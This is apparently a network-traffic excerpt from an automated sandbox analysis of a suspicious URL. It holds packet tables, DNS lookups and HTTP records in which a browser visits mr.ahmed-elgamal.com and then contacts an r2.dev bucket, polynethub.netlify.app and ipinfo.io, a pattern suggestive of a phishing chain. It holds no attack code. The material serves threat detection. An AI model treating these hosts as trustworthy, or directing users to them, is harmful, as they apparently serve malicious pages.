Mar 13, 2025 10:09:55.277389050 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.279175043 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.279280901 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.279762983 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.279773951 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.283885002 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.284095049 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.284111023 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.285149097 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.285228014 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.285789013 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.285841942 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.286107063 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.286114931 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.296689034 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.327930927 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.327930927 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.366703987 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.367146015 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.367172956 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.368244886 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.368315935 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.368884087 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.368954897 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.369230032 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.369242907 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.390269041 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.390825033 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.390851021 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.391885996 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.391987085 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.392802954 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.392898083 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.392962933 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.407285929 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.407565117 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.407582998 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.408572912 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.408652067 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.421700001 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.436332941 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.437325001 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.437351942 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.484225035 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.486691952 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.486824036 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.487370014 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.500385046 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.500413895 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.500529051 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.500556946 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.501652956 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.501707077 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.509154081 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.509305954 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.509325981 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.546802998 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.562423944 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.562444925 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.609168053 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.727292061 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.781048059 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.781075001 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.781728029 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.781816959 CET	443	49759	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.782008886 CET	49759	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.793167114 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.793210030 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.793284893 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.793801069 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:55.793817997 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:55.823033094 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.828849077 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.829039097 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.829066992 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.829116106 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.839163065 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.839171886 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.839328051 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.839332104 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.839508057 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.840392113 CET	49754	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.840418100 CET	443	49754	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.902043104 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.917105913 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.917180061 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.917200089 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.917217016 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:55.917263985 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.917556047 CET	49755	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:55.917571068 CET	443	49755	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.004470110 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.004586935 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.004640102 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.005841017 CET	49756	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.005867004 CET	443	49756	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.006170034 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.006215096 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.006263971 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.006283045 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.006329060 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.014019012 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.014070988 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.014082909 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.014108896 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.014146090 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.014298916 CET	49758	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.014313936 CET	443	49758	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.043766022 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.043803930 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.043874025 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.043900013 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.044277906 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.054420948 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.073642015 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.073724985 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.073755980 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.073852062 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.073895931 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.073999882 CET	49757	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.074016094 CET	443	49757	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.126877069 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.146815062 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:56.146946907 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.147550106 CET	49760	443	192.168.2.4	3.125.36.175
Mar 13, 2025 10:09:56.147569895 CET	443	49760	3.125.36.175	192.168.2.4
Mar 13, 2025 10:09:57.577359915 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:57.577667952 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:57.577699900 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:57.578921080 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:57.578995943 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:57.579514027 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:57.579617023 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:57.579914093 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:57.579933882 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:57.624809027 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:58.059292078 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:58.063406944 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:09:58.063553095 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:58.064205885 CET	49761	443	192.168.2.4	34.117.59.81
Mar 13, 2025 10:09:58.064229965 CET	443	49761	34.117.59.81	192.168.2.4
Mar 13, 2025 10:10:00.941915989 CET	443	49729	162.159.140.237	192.168.2.4
Mar 13, 2025 10:10:00.957607985 CET	443	49729	162.159.140.237	192.168.2.4
Mar 13, 2025 10:10:00.957722902 CET	49729	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:10:01.096117020 CET	49729	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:10:01.096154928 CET	443	49729	162.159.140.237	192.168.2.4
Mar 13, 2025 10:10:37.610893965 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:37.610955000 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:37.611040115 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:37.611583948 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:37.611602068 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:39.077920914 CET	49728	443	192.168.2.4	162.159.140.237
Mar 13, 2025 10:10:39.077944040 CET	443	49728	162.159.140.237	192.168.2.4
Mar 13, 2025 10:10:39.761966944 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:39.762387037 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:39.762414932 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:39.763446093 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:39.763576984 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:39.764672995 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:39.764744043 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:39.812325954 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:39.812349081 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:39.859249115 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:49.369108915 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:49.369229078 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:49.369285107 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:51.095103979 CET	49767	443	192.168.2.4	142.250.186.164
Mar 13, 2025 10:10:51.095149040 CET	443	49767	142.250.186.164	192.168.2.4
Mar 13, 2025 10:10:52.155852079 CET	49738	80	192.168.2.4	142.250.181.227
Mar 13, 2025 10:10:52.160726070 CET	80	49738	142.250.181.227	192.168.2.4
Mar 13, 2025 10:10:52.160840034 CET	49738	80	192.168.2.4	142.250.181.227

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 10:09:35.092103004 CET	53	64248	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:35.148006916 CET	53	51768	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:37.545193911 CET	61105	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:37.545551062 CET	58697	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:38.231806993 CET	53	61105	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:38.232111931 CET	53	58697	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:39.420871019 CET	53	54150	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:39.655323029 CET	53	54017	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:40.063263893 CET	65209	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:40.063401937 CET	50386	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:40.108982086 CET	53	65209	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:40.110917091 CET	53	50386	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:42.895945072 CET	62231	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:42.896203041 CET	59909	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:42.905419111 CET	53	62231	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:42.905735970 CET	53	59909	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:47.592704058 CET	50015	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:47.592940092 CET	52454	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:47.594109058 CET	53	60552	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:47.597446918 CET	58497	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:47.597593069 CET	64232	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:47.599517107 CET	53	50015	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:47.599642038 CET	53	52454	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:47.604037046 CET	53	64232	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:47.604108095 CET	53	58497	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:47.605899096 CET	53	53545	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:50.366811037 CET	61692	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:50.366981030 CET	63700	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:50.375571012 CET	53	63700	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:50.376056910 CET	53	61692	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:50.865747929 CET	53	50107	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:53.192754030 CET	59472	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:53.192898035 CET	61257	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:53.208789110 CET	53	59472	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:53.238890886 CET	53	61257	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:53.507759094 CET	54574	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:53.508063078 CET	53926	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:53.514276981 CET	53	54574	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:53.515516996 CET	53	53926	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:55.785075903 CET	63060	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:55.785355091 CET	61462	53	192.168.2.4	1.1.1.1
Mar 13, 2025 10:09:55.792601109 CET	53	61462	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:55.792618990 CET	53	63060	1.1.1.1	192.168.2.4
Mar 13, 2025 10:09:56.790759087 CET	53	50370	1.1.1.1	192.168.2.4
Mar 13, 2025 10:10:15.631869078 CET	138	138	192.168.2.4	192.168.2.255
Mar 13, 2025 10:10:15.789880037 CET	53	51171	1.1.1.1	192.168.2.4
Mar 13, 2025 10:10:34.121223927 CET	53	53121	1.1.1.1	192.168.2.4
Mar 13, 2025 10:10:38.185348034 CET	53	49741	1.1.1.1	192.168.2.4
Mar 13, 2025 10:10:38.185426950 CET	53	52196	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 13, 2025 10:09:53.238981009 CET	192.168.2.4	1.1.1.1	c22d	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 10:09:37.545193911 CET	192.168.2.4	1.1.1.1	0x5ff2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:37.545551062 CET	192.168.2.4	1.1.1.1	0xb5e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 13, 2025 10:09:40.063263893 CET	192.168.2.4	1.1.1.1	0x57dc	Standard query (0)	mr.ahmed-elgamal.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:40.063401937 CET	192.168.2.4	1.1.1.1	0x4c41	Standard query (0)	mr.ahmed-elgamal.com	65	IN (0x0001)	false
Mar 13, 2025 10:09:42.895945072 CET	192.168.2.4	1.1.1.1	0xa494	Standard query (0)	pub-160645733abe48e1a173755d32058a26.r2.dev	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:42.896203041 CET	192.168.2.4	1.1.1.1	0x898b	Standard query (0)	pub-160645733abe48e1a173755d32058a26.r2.dev	65	IN (0x0001)	false
Mar 13, 2025 10:09:47.592704058 CET	192.168.2.4	1.1.1.1	0xfa16	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:47.592940092 CET	192.168.2.4	1.1.1.1	0xd18a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 13, 2025 10:09:47.597446918 CET	192.168.2.4	1.1.1.1	0xa5a5	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:47.597593069 CET	192.168.2.4	1.1.1.1	0x544c	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 13, 2025 10:09:50.366811037 CET	192.168.2.4	1.1.1.1	0x8575	Standard query (0)	polynethub.netlify.app	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:50.366981030 CET	192.168.2.4	1.1.1.1	0x2df2	Standard query (0)	polynethub.netlify.app	65	IN (0x0001)	false
Mar 13, 2025 10:09:53.192754030 CET	192.168.2.4	1.1.1.1	0x82d0	Standard query (0)	polynethub.netlify.app	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:53.192898035 CET	192.168.2.4	1.1.1.1	0x3527	Standard query (0)	polynethub.netlify.app	65	IN (0x0001)	false
Mar 13, 2025 10:09:53.507759094 CET	192.168.2.4	1.1.1.1	0xb84a	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:53.508063078 CET	192.168.2.4	1.1.1.1	0x8ec9	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Mar 13, 2025 10:09:55.785075903 CET	192.168.2.4	1.1.1.1	0x4448	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:55.785355091 CET	192.168.2.4	1.1.1.1	0xb3bd	Standard query (0)	ipinfo.io	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 10:09:38.231806993 CET	1.1.1.1	192.168.2.4	0x5ff2	No error (0)	www.google.com	142.250.186.164	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:38.232111931 CET	1.1.1.1	192.168.2.4	0xb5e	No error (0)	www.google.com		65	IN (0x0001)	false
Mar 13, 2025 10:09:40.108982086 CET	1.1.1.1	192.168.2.4	0x57dc	No error (0)	mr.ahmed-elgamal.com	138.197.101.40	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:42.905419111 CET	1.1.1.1	192.168.2.4	0xa494	No error (0)	pub-160645733abe48e1a173755d32058a26.r2.dev	162.159.140.237	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:42.905419111 CET	1.1.1.1	192.168.2.4	0xa494	No error (0)	pub-160645733abe48e1a173755d32058a26.r2.dev	172.66.0.235	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:47.599517107 CET	1.1.1.1	192.168.2.4	0xfa16	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:47.599517107 CET	1.1.1.1	192.168.2.4	0xfa16	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:47.599517107 CET	1.1.1.1	192.168.2.4	0xfa16	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:47.599517107 CET	1.1.1.1	192.168.2.4	0xfa16	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:47.604037046 CET	1.1.1.1	192.168.2.4	0x544c	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Mar 13, 2025 10:09:47.604108095 CET	1.1.1.1	192.168.2.4	0xa5a5	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:47.604108095 CET	1.1.1.1	192.168.2.4	0xa5a5	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:50.376056910 CET	1.1.1.1	192.168.2.4	0x8575	No error (0)	polynethub.netlify.app	3.124.100.143	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:50.376056910 CET	1.1.1.1	192.168.2.4	0x8575	No error (0)	polynethub.netlify.app	3.75.10.80	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:53.208789110 CET	1.1.1.1	192.168.2.4	0x82d0	No error (0)	polynethub.netlify.app	3.125.36.175	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:53.208789110 CET	1.1.1.1	192.168.2.4	0x82d0	No error (0)	polynethub.netlify.app	3.75.10.80	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:53.514276981 CET	1.1.1.1	192.168.2.4	0xb84a	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:09:55.792618990 CET	1.1.1.1	192.168.2.4	0x4448	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mr.ahmed-elgamal.com

pub-160645733abe48e1a173755d32058a26.r2.dev

code.jquery.com

cdnjs.cloudflare.com

polynethub.netlify.app

ipinfo.io

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49738	142.250.181.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 10:09:50.233277082 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 13, 2025 10:09:50.881964922 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 13 Mar 2025 08:32:23 GMT Expires: Thu, 13 Mar 2025 09:22:23 GMT Age: 2247 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 13, 2025 10:09:50.888436079 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 13, 2025 10:09:51.084388971 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 13 Mar 2025 08:32:26 GMT Expires: Thu, 13 Mar 2025 09:22:26 GMT Age: 2244 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49726	138.197.101.40	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:41 UTC	686	OUT	GET /03?id=0EcoCp6Ari HTTP/1.1 Host: mr.ahmed-elgamal.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:42 UTC	246	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 13 Mar 2025 09:09:42 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1
